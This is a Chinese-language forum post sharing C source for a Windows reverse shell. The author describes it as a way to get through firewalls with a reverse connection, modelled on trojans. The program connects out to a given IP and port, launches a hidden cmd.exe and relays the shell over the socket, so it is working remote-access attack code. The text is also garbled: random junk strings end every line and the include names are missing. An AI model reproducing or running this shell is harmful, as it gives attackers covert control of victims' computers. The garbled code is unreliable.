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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 uf)Oy7FQ  
p_terD:  
/* ============================== dXu{p  
Rebound port in Windows NT CVKnTEs  
By wind,2006/7 E%k7wM {  
===============================*/ U :9=3A2$x  
#include j=sBq.S  
#include )GB`*M[   
/-*hjX$n  
#pragma comment(lib,"wsock32.lib") !r&Bn6*  
Q2'eQ0W{ o  
void OutputShell(); M StX*Zw  
SOCKET sClient; \gKdD S  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; sB*o)8  
MR9/Y:Nm  
void main(int argc,char **argv) D,W\ gP/h%  
{ hFb fNB3  
WSADATA stWsaData; w{7 ji}  
int nRet; )@ PnTpL*  
SOCKADDR_IN stSaiClient,stSaiServer; 0g(6r-2)7  
!QC<n/  
if(argc != 3) u35q,u=I  
{ 3B18dv,V  
printf("Useage:\n\rRebound DestIP DestPort\n"); [QEwK|!L  
return; EnCU4CU`  
} K r3];(w{  
CI^|k/  
WSAStartup(MAKEWORD(2,2),&stWsaData); B\<ydN  
E3\ZJjG  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |_pl;&;:  
U}P,EP%p  
stSaiClient.sin_family = AF_INET; ~w.2 -D  
stSaiClient.sin_port = htons(0); LcUlc)YH5  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); r\mPIr|  
X=_Z(;<&  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) (wL3 +  
{ X5E '*W  
printf("Bind Socket Failed!\n"); D9,! %7i  
return; &:vsc Ol  
} )A83A<~  
#MM &BC  
stSaiServer.sin_family = AF_INET; IRB& j%LA  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); %-^}45](q  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); g,?\~8-c  
!kh{9I>M  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @l,{x|00  
{ q+/l"&j.  
printf("Connect Error!"); |zMqJ.qu  
return; jU$Y>S>l  
} 0 BC`iql5  
OutputShell(); zzf7S%1I  
} NWISS  
[ -12]3  
void OutputShell() 9s $PrF  
{ ^![{,o@"A  
char szBuff[1024]; ec'tFL#u{  
SECURITY_ATTRIBUTES stSecurityAttributes; <d! 6[,W;  
OSVERSIONINFO stOsversionInfo; a J-}  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; h DtK nF  
STARTUPINFO stStartupInfo; _7 `E[&v  
char *szShell; Jr?!Mh-  
PROCESS_INFORMATION stProcessInformation; t,Q'S`eTU  
unsigned long lBytesRead; V4?Oc2mS  
hZF(/4Z2  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); #:W%,$ 9\P  
|Y{PO&-?r  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); C"No5r'K3  
stSecurityAttributes.lpSecurityDescriptor = 0; +!$dO'0nt,  
stSecurityAttributes.bInheritHandle = TRUE; :@e\'~7sH  
%c0z)R~  
MgnE-6_c  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); w a.f![  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Ki 3_N*z  
(w2(qT&O  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); > ZDC . ~  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q] ZSj J  
stStartupInfo.wShowWindow = SW_HIDE; s"rg_FoL  
stStartupInfo.hStdInput = hReadPipe; ?z"YC&Tp  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; K{FhT9R'  
Z!)f*  
GetVersionEx(&stOsversionInfo); rIPl6,w~  
`r.N  
switch(stOsversionInfo.dwPlatformId) x vJ^@w'  
{ H /%}R  
case 1: 2lJZw@  
szShell = "command.com"; {kG;."S+K  
break; x~(y "^ph  
default: jNqVdP]d\  
szShell = "cmd.exe"; ^6&_| f  
break; UC#"=Xd 4  
} + o{*r#  
f-]><z  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); G|V\^.f<  
dk4D+*R  
send(sClient,szMsg,77,0); UFk!dK+  
while(1) \!7*(&yly  
{ 7uA\&/ ,  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); nr<.YeJ  
if(lBytesRead) M/)B" q  
{ R}.3|0  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 1O9$W?)Q  
send(sClient,szBuff,lBytesRead,0); , #Ln/;  
} j #es2;  
else 777rE[\@b  
{ _M&{^d  
lBytesRead=recv(sClient,szBuff,1024,0); 2b~ HHVruX  
if(lBytesRead<=0) break;  L,%Z9  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); .hgH9$\  
} U[Nosh)hu\  
} @dl<-  
mQnL<0_<f  
return; PuU*vs3  
}
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